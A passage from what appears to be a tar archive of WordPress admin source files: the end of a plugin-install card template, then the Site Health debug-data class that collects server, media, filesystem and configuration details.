					<p><?php echo $description; ?></p>
					<p class="authors"><?php echo $author; ?></p>
				</div>
			</div>
			<div class="plugin-card-bottom">
				<div class="vers column-rating">
					<?php
					wp_star_rating(
						array(
							'rating' => $plugin['rating'],
							'type'   => 'percent',
							'number' => $plugin['num_ratings'],
						)
					);
					?>
					<span class="num-ratings" aria-hidden="true">(<?php echo number_format_i18n( $plugin['num_ratings'] ); ?>)</span>
				</div>
				<div class="column-updated">
					<strong><?php _e( 'Last Updated:' ); ?></strong>
					<?php
						/* translators: %s: Human-readable time difference. */
						printf( __( '%s ago' ), human_time_diff( $last_updated_timestamp ) );
					?>
				</div>
				<div class="column-downloaded">
					<?php
					if ( $plugin['active_installs'] >= 1000000 ) {
						$active_installs_millions = floor( $plugin['active_installs'] / 1000000 );
						$active_installs_text     = sprintf(
							/* translators: %s: Number of millions. */
							_nx( '%s+ Million', '%s+ Million', $active_installs_millions, 'Active plugin installations' ),
							number_format_i18n( $active_installs_millions )
						);
					} elseif ( 0 === $plugin['active_installs'] ) {
						$active_installs_text = _x( 'Less Than 10', 'Active plugin installations' );
					} else {
						$active_installs_text = number_format_i18n( $plugin['active_installs'] ) . '+';
					}
					/* translators: %s: Number of installations. */
					printf( __( '%s Active Installations' ), $active_installs_text );
					?>
				</div>
				<div class="column-compatibility">
					<?php
					if ( ! $tested_wp ) {
						echo '<span class="compatibility-untested">' . __( 'Untested with your version of WordPress' ) . '</span>';
					} elseif ( ! $compatible_wp ) {
						echo '<span class="compatibility-incompatible">' . __( '<strong>Incompatible</strong> with your version of WordPress' ) . '</span>';
					} else {
						echo '<span class="compatibility-compatible">' . __( '<strong>Compatible</strong> with your version of WordPress' ) . '</span>';
					}
					?>
				</div>
			</div>
		</div>
			<?php
		}

		// Close off the group divs of the last one.
		if ( ! empty( $group ) ) {
			echo '</div></div>';
		}
	}
}
class-wp-debug-data.php000064400000166016150275632050011020 0ustar00<?php
/**
 * Class for providing debug data based on a users WordPress environment.
 *
 * @package WordPress
 * @subpackage Site_Health
 * @since 5.2.0
 */

#[AllowDynamicProperties]
class WP_Debug_Data {
	/**
	 * Calls all core functions to check for updates.
	 *
	 * @since 5.2.0
	 */
	public static function check_for_updates() {
		wp_version_check();
		wp_update_plugins();
		wp_update_themes();
	}

	/**
	 * Static function for generating site debug data when required.
	 *
	 * @since 5.2.0
	 * @since 5.3.0 Added database charset, database collation,
	 *              and timezone information.
	 * @since 5.5.0 Added pretty permalinks support information.
	 *
	 * @throws ImagickException
	 * @global wpdb  $wpdb               WordPress database abstraction object.
	 * @global array $_wp_theme_features
	 *
	 * @return array The debug data for the site.
	 */
	public static function debug_data() {
		global $wpdb, $_wp_theme_features;

		// Save few function calls.
		$upload_dir             = wp_upload_dir();
		$permalink_structure    = get_option( 'permalink_structure' );
		$is_ssl                 = is_ssl();
		$is_multisite           = is_multisite();
		$users_can_register     = get_option( 'users_can_register' );
		$blog_public            = get_option( 'blog_public' );
		$default_comment_status = get_option( 'default_comment_status' );
		$environment_type       = wp_get_environment_type();
		$core_version           = get_bloginfo( 'version' );
		$core_updates           = get_core_updates();
		$core_update_needed     = '';

		if ( is_array( $core_updates ) ) {
			foreach ( $core_updates as $core => $update ) {
				if ( 'upgrade' === $update->response ) {
					/* translators: %s: Latest WordPress version number. */
					$core_update_needed = ' ' . sprintf( __( '(Latest version: %s)' ), $update->version );
				} else {
					$core_update_needed = '';
				}
			}
		}

		// Set up the array that holds all debug information.
		$info = array();

		$info['wp-core'] = array(
			'label'  => __( 'WordPress' ),
			'fields' => array(
				'version'                => array(
					'label' => __( 'Version' ),
					'value' => $core_version . $core_update_needed,
					'debug' => $core_version,
				),
				'site_language'          => array(
					'label' => __( 'Site Language' ),
					'value' => get_locale(),
				),
				'user_language'          => array(
					'label' => __( 'User Language' ),
					'value' => get_user_locale(),
				),
				'timezone'               => array(
					'label' => __( 'Timezone' ),
					'value' => wp_timezone_string(),
				),
				'home_url'               => array(
					'label'   => __( 'Home URL' ),
					'value'   => get_bloginfo( 'url' ),
					'private' => true,
				),
				'site_url'               => array(
					'label'   => __( 'Site URL' ),
					'value'   => get_bloginfo( 'wpurl' ),
					'private' => true,
				),
				'permalink'              => array(
					'label' => __( 'Permalink structure' ),
					'value' => $permalink_structure ? $permalink_structure : __( 'No permalink structure set' ),
					'debug' => $permalink_structure,
				),
				'https_status'           => array(
					'label' => __( 'Is this site using HTTPS?' ),
					'value' => $is_ssl ? __( 'Yes' ) : __( 'No' ),
					'debug' => $is_ssl,
				),
				'multisite'              => array(
					'label' => __( 'Is this a multisite?' ),
					'value' => $is_multisite ? __( 'Yes' ) : __( 'No' ),
					'debug' => $is_multisite,
				),
				'user_registration'      => array(
					'label' => __( 'Can anyone register on this site?' ),
					'value' => $users_can_register ? __( 'Yes' ) : __( 'No' ),
					'debug' => $users_can_register,
				),
				'blog_public'            => array(
					'label' => __( 'Is this site discouraging search engines?' ),
					'value' => $blog_public ? __( 'No' ) : __( 'Yes' ),
					'debug' => $blog_public,
				),
				'default_comment_status' => array(
					'label' => __( 'Default comment status' ),
					'value' => 'open' === $default_comment_status ? _x( 'Open', 'comment status' ) : _x( 'Closed', 'comment status' ),
					'debug' => $default_comment_status,
				),
				'environment_type'       => array(
					'label' => __( 'Environment type' ),
					'value' => $environment_type,
					'debug' => $environment_type,
				),
			),
		);

		if ( ! $is_multisite ) {
			$info['wp-paths-sizes'] = array(
				'label'  => __( 'Directories and Sizes' ),
				'fields' => array(),
			);
		}

		$info['wp-dropins'] = array(
			'label'       => __( 'Drop-ins' ),
			'show_count'  => true,
			'description' => sprintf(
				/* translators: %s: wp-content directory name. */
				__( 'Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins.' ),
				'<code>' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . '</code>'
			),
			'fields'      => array(),
		);

		$info['wp-active-theme'] = array(
			'label'  => __( 'Active Theme' ),
			'fields' => array(),
		);

		$info['wp-parent-theme'] = array(
			'label'  => __( 'Parent Theme' ),
			'fields' => array(),
		);

		$info['wp-themes-inactive'] = array(
			'label'      => __( 'Inactive Themes' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-mu-plugins'] = array(
			'label'      => __( 'Must Use Plugins' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-plugins-active'] = array(
			'label'      => __( 'Active Plugins' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-plugins-inactive'] = array(
			'label'      => __( 'Inactive Plugins' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-media'] = array(
			'label'  => __( 'Media Handling' ),
			'fields' => array(),
		);

		$info['wp-server'] = array(
			'label'       => __( 'Server' ),
			'description' => __( 'The options shown below relate to your server setup. If changes are required, you may need your web host&#8217;s assistance.' ),
			'fields'      => array(),
		);

		$info['wp-database'] = array(
			'label'  => __( 'Database' ),
			'fields' => array(),
		);

		// Check if WP_DEBUG_LOG is set.
		$wp_debug_log_value = __( 'Disabled' );

		if ( is_string( WP_DEBUG_LOG ) ) {
			$wp_debug_log_value = WP_DEBUG_LOG;
		} elseif ( WP_DEBUG_LOG ) {
			$wp_debug_log_value = __( 'Enabled' );
		}

		// Check CONCATENATE_SCRIPTS.
		if ( defined( 'CONCATENATE_SCRIPTS' ) ) {
			$concatenate_scripts       = CONCATENATE_SCRIPTS ? __( 'Enabled' ) : __( 'Disabled' );
			$concatenate_scripts_debug = CONCATENATE_SCRIPTS ? 'true' : 'false';
		} else {
			$concatenate_scripts       = __( 'Undefined' );
			$concatenate_scripts_debug = 'undefined';
		}

		// Check COMPRESS_SCRIPTS.
		if ( defined( 'COMPRESS_SCRIPTS' ) ) {
			$compress_scripts       = COMPRESS_SCRIPTS ? __( 'Enabled' ) : __( 'Disabled' );
			$compress_scripts_debug = COMPRESS_SCRIPTS ? 'true' : 'false';
		} else {
			$compress_scripts       = __( 'Undefined' );
			$compress_scripts_debug = 'undefined';
		}

		// Check COMPRESS_CSS.
		if ( defined( 'COMPRESS_CSS' ) ) {
			$compress_css       = COMPRESS_CSS ? __( 'Enabled' ) : __( 'Disabled' );
			$compress_css_debug = COMPRESS_CSS ? 'true' : 'false';
		} else {
			$compress_css       = __( 'Undefined' );
			$compress_css_debug = 'undefined';
		}

		// Check WP_ENVIRONMENT_TYPE.
		if ( defined( 'WP_ENVIRONMENT_TYPE' ) && WP_ENVIRONMENT_TYPE ) {
			$wp_environment_type = WP_ENVIRONMENT_TYPE;
		} else {
			$wp_environment_type = __( 'Undefined' );
		}

		$info['wp-constants'] = array(
			'label'       => __( 'WordPress Constants' ),
			'description' => __( 'These settings alter where and how parts of WordPress are loaded.' ),
			'fields'      => array(
				'ABSPATH'             => array(
					'label'   => 'ABSPATH',
					'value'   => ABSPATH,
					'private' => true,
				),
				'WP_HOME'             => array(
					'label' => 'WP_HOME',
					'value' => ( defined( 'WP_HOME' ) ? WP_HOME : __( 'Undefined' ) ),
					'debug' => ( defined( 'WP_HOME' ) ? WP_HOME : 'undefined' ),
				),
				'WP_SITEURL'          => array(
					'label' => 'WP_SITEURL',
					'value' => ( defined( 'WP_SITEURL' ) ? WP_SITEURL : __( 'Undefined' ) ),
					'debug' => ( defined( 'WP_SITEURL' ) ? WP_SITEURL : 'undefined' ),
				),
				'WP_CONTENT_DIR'      => array(
					'label' => 'WP_CONTENT_DIR',
					'value' => WP_CONTENT_DIR,
				),
				'WP_PLUGIN_DIR'       => array(
					'label' => 'WP_PLUGIN_DIR',
					'value' => WP_PLUGIN_DIR,
				),
				'WP_MEMORY_LIMIT'     => array(
					'label' => 'WP_MEMORY_LIMIT',
					'value' => WP_MEMORY_LIMIT,
				),
				'WP_MAX_MEMORY_LIMIT' => array(
					'label' => 'WP_MAX_MEMORY_LIMIT',
					'value' => WP_MAX_MEMORY_LIMIT,
				),
				'WP_DEBUG'            => array(
					'label' => 'WP_DEBUG',
					'value' => WP_DEBUG ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => WP_DEBUG,
				),
				'WP_DEBUG_DISPLAY'    => array(
					'label' => 'WP_DEBUG_DISPLAY',
					'value' => WP_DEBUG_DISPLAY ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => WP_DEBUG_DISPLAY,
				),
				'WP_DEBUG_LOG'        => array(
					'label' => 'WP_DEBUG_LOG',
					'value' => $wp_debug_log_value,
					'debug' => WP_DEBUG_LOG,
				),
				'SCRIPT_DEBUG'        => array(
					'label' => 'SCRIPT_DEBUG',
					'value' => SCRIPT_DEBUG ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => SCRIPT_DEBUG,
				),
				'WP_CACHE'            => array(
					'label' => 'WP_CACHE',
					'value' => WP_CACHE ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => WP_CACHE,
				),
				'CONCATENATE_SCRIPTS' => array(
					'label' => 'CONCATENATE_SCRIPTS',
					'value' => $concatenate_scripts,
					'debug' => $concatenate_scripts_debug,
				),
				'COMPRESS_SCRIPTS'    => array(
					'label' => 'COMPRESS_SCRIPTS',
					'value' => $compress_scripts,
					'debug' => $compress_scripts_debug,
				),
				'COMPRESS_CSS'        => array(
					'label' => 'COMPRESS_CSS',
					'value' => $compress_css,
					'debug' => $compress_css_debug,
				),
				'WP_ENVIRONMENT_TYPE' => array(
					'label' => 'WP_ENVIRONMENT_TYPE',
					'value' => $wp_environment_type,
					'debug' => $wp_environment_type,
				),
				'WP_DEVELOPMENT_MODE' => array(
					'label' => 'WP_DEVELOPMENT_MODE',
					'value' => WP_DEVELOPMENT_MODE ? WP_DEVELOPMENT_MODE : __( 'Disabled' ),
					'debug' => WP_DEVELOPMENT_MODE,
				),
				'DB_CHARSET'          => array(
					'label' => 'DB_CHARSET',
					'value' => ( defined( 'DB_CHARSET' ) ? DB_CHARSET : __( 'Undefined' ) ),
					'debug' => ( defined( 'DB_CHARSET' ) ? DB_CHARSET : 'undefined' ),
				),
				'DB_COLLATE'          => array(
					'label' => 'DB_COLLATE',
					'value' => ( defined( 'DB_COLLATE' ) ? DB_COLLATE : __( 'Undefined' ) ),
					'debug' => ( defined( 'DB_COLLATE' ) ? DB_COLLATE : 'undefined' ),
				),
			),
		);

		$is_writable_abspath            = wp_is_writable( ABSPATH );
		$is_writable_wp_content_dir     = wp_is_writable( WP_CONTENT_DIR );
		$is_writable_upload_dir         = wp_is_writable( $upload_dir['basedir'] );
		$is_writable_wp_plugin_dir      = wp_is_writable( WP_PLUGIN_DIR );
		$is_writable_template_directory = wp_is_writable( get_theme_root( get_template() ) );

		$info['wp-filesystem'] = array(
			'label'       => __( 'Filesystem Permissions' ),
			'description' => __( 'Shows whether WordPress is able to write to the directories it needs access to.' ),
			'fields'      => array(
				'wordpress'  => array(
					'label' => __( 'The main WordPress directory' ),
					'value' => ( $is_writable_abspath ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_abspath ? 'writable' : 'not writable' ),
				),
				'wp-content' => array(
					'label' => __( 'The wp-content directory' ),
					'value' => ( $is_writable_wp_content_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_wp_content_dir ? 'writable' : 'not writable' ),
				),
				'uploads'    => array(
					'label' => __( 'The uploads directory' ),
					'value' => ( $is_writable_upload_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_upload_dir ? 'writable' : 'not writable' ),
				),
				'plugins'    => array(
					'label' => __( 'The plugins directory' ),
					'value' => ( $is_writable_wp_plugin_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_wp_plugin_dir ? 'writable' : 'not writable' ),
				),
				'themes'     => array(
					'label' => __( 'The themes directory' ),
					'value' => ( $is_writable_template_directory ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_template_directory ? 'writable' : 'not writable' ),
				),
			),
		);

		// Conditionally add debug information for multisite setups.
		if ( is_multisite() ) {
			$network_query = new WP_Network_Query();
			$network_ids   = $network_query->query(
				array(
					'fields'        => 'ids',
					'number'        => 100,
					'no_found_rows' => false,
				)
			);

			$site_count = 0;
			foreach ( $network_ids as $network_id ) {
				$site_count += get_blog_count( $network_id );
			}

			$info['wp-core']['fields']['site_count'] = array(
				'label' => __( 'Site count' ),
				'value' => $site_count,
			);

			$info['wp-core']['fields']['network_count'] = array(
				'label' => __( 'Network count' ),
				'value' => $network_query->found_networks,
			);
		}

		$info['wp-core']['fields']['user_count'] = array(
			'label' => __( 'User count' ),
			'value' => get_user_count(),
		);

		// WordPress features requiring processing.
		$wp_dotorg = wp_remote_get( 'https://wordpress.org', array( 'timeout' => 10 ) );

		if ( ! is_wp_error( $wp_dotorg ) ) {
			$info['wp-core']['fields']['dotorg_communication'] = array(
				'label' => __( 'Communication with WordPress.org' ),
				'value' => __( 'WordPress.org is reachable' ),
				'debug' => 'true',
			);
		} else {
			$info['wp-core']['fields']['dotorg_communication'] = array(
				'label' => __( 'Communication with WordPress.org' ),
				'value' => sprintf(
					/* translators: 1: The IP address WordPress.org resolves to. 2: The error returned by the lookup. */
					__( 'Unable to reach WordPress.org at %1$s: %2$s' ),
					gethostbyname( 'wordpress.org' ),
					$wp_dotorg->get_error_message()
				),
				'debug' => $wp_dotorg->get_error_message(),
			);
		}

		// Remove accordion for Directories and Sizes if in Multisite.
		if ( ! $is_multisite ) {
			$loading = __( 'Loading&hellip;' );

			$info['wp-paths-sizes']['fields'] = array(
				'wordpress_path' => array(
					'label' => __( 'WordPress directory location' ),
					'value' => untrailingslashit( ABSPATH ),
				),
				'wordpress_size' => array(
					'label' => __( 'WordPress directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'uploads_path'   => array(
					'label' => __( 'Uploads directory location' ),
					'value' => $upload_dir['basedir'],
				),
				'uploads_size'   => array(
					'label' => __( 'Uploads directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'themes_path'    => array(
					'label' => __( 'Themes directory location' ),
					'value' => get_theme_root(),
				),
				'themes_size'    => array(
					'label' => __( 'Themes directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'plugins_path'   => array(
					'label' => __( 'Plugins directory location' ),
					'value' => WP_PLUGIN_DIR,
				),
				'plugins_size'   => array(
					'label' => __( 'Plugins directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'database_size'  => array(
					'label' => __( 'Database size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'total_size'     => array(
					'label' => __( 'Total installation size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
			);
		}

		// Get a list of all drop-in replacements.
		$dropins = get_dropins();

		// Get dropins descriptions.
		$dropin_descriptions = _get_dropins();

		// Spare few function calls.
		$not_available = __( 'Not available' );

		foreach ( $dropins as $dropin_key => $dropin ) {
			$info['wp-dropins']['fields'][ sanitize_text_field( $dropin_key ) ] = array(
				'label' => $dropin_key,
				'value' => $dropin_descriptions[ $dropin_key ][0],
				'debug' => 'true',
			);
		}

		// Populate the media fields.
		$info['wp-media']['fields']['image_editor'] = array(
			'label' => __( 'Active editor' ),
			'value' => _wp_image_editor_choose(),
		);

		// Get ImageMagic information, if available.
		if ( class_exists( 'Imagick' ) ) {
			// Save the Imagick instance for later use.
			$imagick             = new Imagick();
			$imagemagick_version = $imagick->getVersion();
		} else {
			$imagemagick_version = __( 'Not available' );
		}

		$info['wp-media']['fields']['imagick_module_version'] = array(
			'label' => __( 'ImageMagick version number' ),
			'value' => ( is_array( $imagemagick_version ) ? $imagemagick_version['versionNumber'] : $imagemagick_version ),
		);

		$info['wp-media']['fields']['imagemagick_version'] = array(
			'label' => __( 'ImageMagick version string' ),
			'value' => ( is_array( $imagemagick_version ) ? $imagemagick_version['versionString'] : $imagemagick_version ),
		);

		$imagick_version = phpversion( 'imagick' );

		$info['wp-media']['fields']['imagick_version'] = array(
			'label' => __( 'Imagick version' ),
			'value' => ( $imagick_version ) ? $imagick_version : __( 'Not available' ),
		);

		if ( ! function_exists( 'ini_get' ) ) {
			$info['wp-media']['fields']['ini_get'] = array(
				'label' => __( 'File upload settings' ),
				'value' => sprintf(
					/* translators: %s: ini_get() */
					__( 'Unable to determine some settings, as the %s function has been disabled.' ),
					'ini_get()'
				),
				'debug' => 'ini_get() is disabled',
			);
		} else {
			// Get the PHP ini directive values.
			$file_uploads        = ini_get( 'file_uploads' );
			$post_max_size       = ini_get( 'post_max_size' );
			$upload_max_filesize = ini_get( 'upload_max_filesize' );
			$max_file_uploads    = ini_get( 'max_file_uploads' );
			$effective           = min( wp_convert_hr_to_bytes( $post_max_size ), wp_convert_hr_to_bytes( $upload_max_filesize ) );

			// Add info in Media section.
			$info['wp-media']['fields']['file_uploads']        = array(
				'label' => __( 'File uploads' ),
				'value' => $file_uploads ? __( 'Enabled' ) : __( 'Disabled' ),
				'debug' => $file_uploads,
			);
			$info['wp-media']['fields']['post_max_size']       = array(
				'label' => __( 'Max size of post data allowed' ),
				'value' => $post_max_size,
			);
			$info['wp-media']['fields']['upload_max_filesize'] = array(
				'label' => __( 'Max size of an uploaded file' ),
				'value' => $upload_max_filesize,
			);
			$info['wp-media']['fields']['max_effective_size']  = array(
				'label' => __( 'Max effective file size' ),
				'value' => size_format( $effective ),
			);
			$info['wp-media']['fields']['max_file_uploads']    = array(
				'label' => __( 'Max number of files allowed' ),
				'value' => number_format( $max_file_uploads ),
			);
		}

		// If Imagick is used as our editor, provide some more information about its limitations.
		if ( 'WP_Image_Editor_Imagick' === _wp_image_editor_choose() && isset( $imagick ) && $imagick instanceof Imagick ) {
			$limits = array(
				'area'   => ( defined( 'imagick::RESOURCETYPE_AREA' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_AREA ) ) : $not_available ),
				'disk'   => ( defined( 'imagick::RESOURCETYPE_DISK' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_DISK ) : $not_available ),
				'file'   => ( defined( 'imagick::RESOURCETYPE_FILE' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_FILE ) : $not_available ),
				'map'    => ( defined( 'imagick::RESOURCETYPE_MAP' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MAP ) ) : $not_available ),
				'memory' => ( defined( 'imagick::RESOURCETYPE_MEMORY' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MEMORY ) ) : $not_available ),
				'thread' => ( defined( 'imagick::RESOURCETYPE_THREAD' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_THREAD ) : $not_available ),
				'time'   => ( defined( 'imagick::RESOURCETYPE_TIME' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_TIME ) : $not_available ),
			);

			$limits_debug = array(
				'imagick::RESOURCETYPE_AREA'   => ( defined( 'imagick::RESOURCETYPE_AREA' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_AREA ) ) : 'not available' ),
				'imagick::RESOURCETYPE_DISK'   => ( defined( 'imagick::RESOURCETYPE_DISK' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_DISK ) : 'not available' ),
				'imagick::RESOURCETYPE_FILE'   => ( defined( 'imagick::RESOURCETYPE_FILE' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_FILE ) : 'not available' ),
				'imagick::RESOURCETYPE_MAP'    => ( defined( 'imagick::RESOURCETYPE_MAP' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MAP ) ) : 'not available' ),
				'imagick::RESOURCETYPE_MEMORY' => ( defined( 'imagick::RESOURCETYPE_MEMORY' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MEMORY ) ) : 'not available' ),
				'imagick::RESOURCETYPE_THREAD' => ( defined( 'imagick::RESOURCETYPE_THREAD' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_THREAD ) : 'not available' ),
				'imagick::RESOURCETYPE_TIME'   => ( defined( 'imagick::RESOURCETYPE_TIME' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_TIME ) : 'not available' ),
			);

			$info['wp-media']['fields']['imagick_limits'] = array(
				'label' => __( 'Imagick Resource Limits' ),
				'value' => $limits,
				'debug' => $limits_debug,
			);

			try {
				$formats = Imagick::queryFormats( '*' );
			} catch ( Exception $e ) {
				$formats = array();
			}

			$info['wp-media']['fields']['imagemagick_file_formats'] = array(
				'label' => __( 'ImageMagick supported file formats' ),
				'value' => ( empty( $formats ) ) ? __( 'Unable to determine' ) : implode( ', ', $formats ),
				'debug' => ( empty( $formats ) ) ? 'Unable to determine' : implode( ', ', $formats ),
			);
		}

		// Get GD information, if available.
		if ( function_exists( 'gd_info' ) ) {
			$gd = gd_info();
		} else {
			$gd = false;
		}

		$info['wp-media']['fields']['gd_version'] = array(
			'label' => __( 'GD version' ),
			'value' => ( is_array( $gd ) ? $gd['GD Version'] : $not_available ),
			'debug' => ( is_array( $gd ) ? $gd['GD Version'] : 'not available' ),
		);

		$gd_image_formats     = array();
		$gd_supported_formats = array(
			'GIF Create' => 'GIF',
			'JPEG'       => 'JPEG',
			'PNG'        => 'PNG',
			'WebP'       => 'WebP',
			'BMP'        => 'BMP',
			'AVIF'       => 'AVIF',
			'HEIF'       => 'HEIF',
			'TIFF'       => 'TIFF',
			'XPM'        => 'XPM',
		);

		foreach ( $gd_supported_formats as $format_key => $format ) {
			$index = $format_key . ' Support';
			if ( isset( $gd[ $index ] ) && $gd[ $index ] ) {
				array_push( $gd_image_formats, $format );
			}
		}

		if ( ! empty( $gd_image_formats ) ) {
			$info['wp-media']['fields']['gd_formats'] = array(
				'label' => __( 'GD supported file formats' ),
				'value' => implode( ', ', $gd_image_formats ),
			);
		}

		// Get Ghostscript information, if available.
		if ( function_exists( 'exec' ) ) {
			$gs = exec( 'gs --version' );

			if ( empty( $gs ) ) {
				$gs       = $not_available;
				$gs_debug = 'not available';
			} else {
				$gs_debug = $gs;
			}
		} else {
			$gs       = __( 'Unable to determine if Ghostscript is installed' );
			$gs_debug = 'unknown';
		}

		$info['wp-media']['fields']['ghostscript_version'] = array(
			'label' => __( 'Ghostscript version' ),
			'value' => $gs,
			'debug' => $gs_debug,
		);

		// Populate the server debug fields.
		if ( function_exists( 'php_uname' ) ) {
			$server_architecture = sprintf( '%s %s %s', php_uname( 's' ), php_uname( 'r' ), php_uname( 'm' ) );
		} else {
			$server_architecture = 'unknown';
		}

		$php_version_debug = PHP_VERSION;
		// Whether PHP supports 64-bit.
		$php64bit = ( PHP_INT_SIZE * 8 === 64 );

		$php_version = sprintf(
			'%s %s',
			$php_version_debug,
			( $php64bit ? __( '(Supports 64bit values)' ) : __( '(Does not support 64bit values)' ) )
		);

		if ( $php64bit ) {
			$php_version_debug .= ' 64bit';
		}

		$info['wp-server']['fields']['server_architecture'] = array(
			'label' => __( 'Server architecture' ),
			'value' => ( 'unknown' !== $server_architecture ? $server_architecture : __( 'Unable to determine server architecture' ) ),
			'debug' => $server_architecture,
		);
		$info['wp-server']['fields']['httpd_software']      = array(
			'label' => __( 'Web server' ),
			'value' => ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : __( 'Unable to determine what web server software is used' ) ),
			'debug' => ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown' ),
		);
		$info['wp-server']['fields']['php_version']         = array(
			'label' => __( 'PHP version' ),
			'value' => $php_version,
			'debug' => $php_version_debug,
		);
		$info['wp-server']['fields']['php_sapi']            = array(
			'label' => __( 'PHP SAPI' ),
			'value' => PHP_SAPI,
			'debug' => PHP_SAPI,
		);

		// Some servers disable `ini_set()` and `ini_get()`, we check this before trying to get configuration values.
		if ( ! function_exists( 'ini_get' ) ) {
			$info['wp-server']['fields']['ini_get'] = array(
				'label' => __( 'Server settings' ),
				'value' => sprintf(
					/* translators: %s: ini_get() */
					__( 'Unable to determine some settings, as the %s function has been disabled.' ),
					'ini_get()'
				),
				'debug' => 'ini_get() is disabled',
			);
		} else {
			$info['wp-server']['fields']['max_input_variables'] = array(
				'label' => __( 'PHP max input variables' ),
				'value' => ini_get( 'max_input_vars' ),
			);
			$info['wp-server']['fields']['time_limit']          = array(
				'label' => __( 'PHP time limit' ),
				'value' => ini_get( 'max_execution_time' ),
			);

			if ( WP_Site_Health::get_instance()->php_memory_limit !== ini_get( 'memory_limit' ) ) {
				$info['wp-server']['fields']['memory_limit']       = array(
					'label' => __( 'PHP memory limit' ),
					'value' => WP_Site_Health::get_instance()->php_memory_limit,
				);
				$info['wp-server']['fields']['admin_memory_limit'] = array(
					'label' => __( 'PHP memory limit (only for admin screens)' ),
					'value' => ini_get( 'memory_limit' ),
				);
			} else {
				$info['wp-server']['fields']['memory_limit'] = array(
					'label' => __( 'PHP memory limit' ),
					'value' => ini_get( 'memory_limit' ),
				);
			}

			$info['wp-server']['fields']['max_input_time']      = array(
				'label' => __( 'Max input time' ),
				'value' => ini_get( 'max_input_time' ),
			);
			$info['wp-server']['fields']['upload_max_filesize'] = array(
				'label' => __( 'Upload max filesize' ),
				'value' => ini_get( 'upload_max_filesize' ),
			);
			$info['wp-server']['fields']['php_post_max_size']   = array(
				'label' => __( 'PHP post max size' ),
				'value' => ini_get( 'post_max_size' ),
			);
		}

		if ( function_exists( 'curl_version' ) ) {
			$curl = curl_version();

			$info['wp-server']['fields']['curl_version'] = array(
				'label' => __( 'cURL version' ),
				'value' => sprintf( '%s %s', $curl['version'], $curl['ssl_version'] ),
			);
		} else {
			$info['wp-server']['fields']['curl_version'] = array(
				'label' => __( 'cURL version' ),
				'value' => $not_available,
				'debug' => 'not available',
			);
		}

		// SUHOSIN.
		$suhosin_loaded = ( extension_loaded( 'suhosin' ) || ( defined( 'SUHOSIN_PATCH' ) && constant( 'SUHOSIN_PATCH' ) ) );

		$info['wp-server']['fields']['suhosin'] = array(
			'label' => __( 'Is SUHOSIN installed?' ),
			'value' => ( $suhosin_loaded ? __( 'Yes' ) : __( 'No' ) ),
			'debug' => $suhosin_loaded,
		);

		// Imagick.
		$imagick_loaded = extension_loaded( 'imagick' );

		$info['wp-server']['fields']['imagick_availability'] = array(
			'label' => __( 'Is the Imagick library available?' ),
			'value' => ( $imagick_loaded ? __( 'Yes' ) : __( 'No' ) ),
			'debug' => $imagick_loaded,
		);

		// Pretty permalinks.
		$pretty_permalinks_supported = got_url_rewrite();

		$info['wp-server']['fields']['pretty_permalinks'] = array(
			'label' => __( 'Are pretty permalinks supported?' ),
			'value' => ( $pretty_permalinks_supported ? __( 'Yes' ) : __( 'No' ) ),
			'debug' => $pretty_permalinks_supported,
		);

		// Check if a .htaccess file exists.
		if ( is_file( ABSPATH . '.htaccess' ) ) {
			// If the file exists, grab the content of it.
			$htaccess_content = file_get_contents( ABSPATH . '.htaccess' );

			// Filter away the core WordPress rules.
			$filtered_htaccess_content = trim( preg_replace( '/\# BEGIN WordPress[\s\S]+?# END WordPress/si', '', $htaccess_content ) );
			$filtered_htaccess_content = ! empty( $filtered_htaccess_content );

			if ( $filtered_htaccess_content ) {
				/* translators: %s: .htaccess */
				$htaccess_rules_string = sprintf( __( 'Custom rules have been added to your %s file.' ), '.htaccess' );
			} else {
				/* translators: %s: .htaccess */
				$htaccess_rules_string = sprintf( __( 'Your %s file contains only core WordPress features.' ), '.htaccess' );
			}

			$info['wp-server']['fields']['htaccess_extra_rules'] = array(
				'label' => __( '.htaccess rules' ),
				'value' => $htaccess_rules_string,
				'debug' => $filtered_htaccess_content,
			);
		}

		// Server time.
		$date = new DateTime( 'now', new DateTimeZone( 'UTC' ) );

		$info['wp-server']['fields']['current']     = array(
			'label' => __( 'Current time' ),
			'value' => $date->format( DateTime::ATOM ),
		);
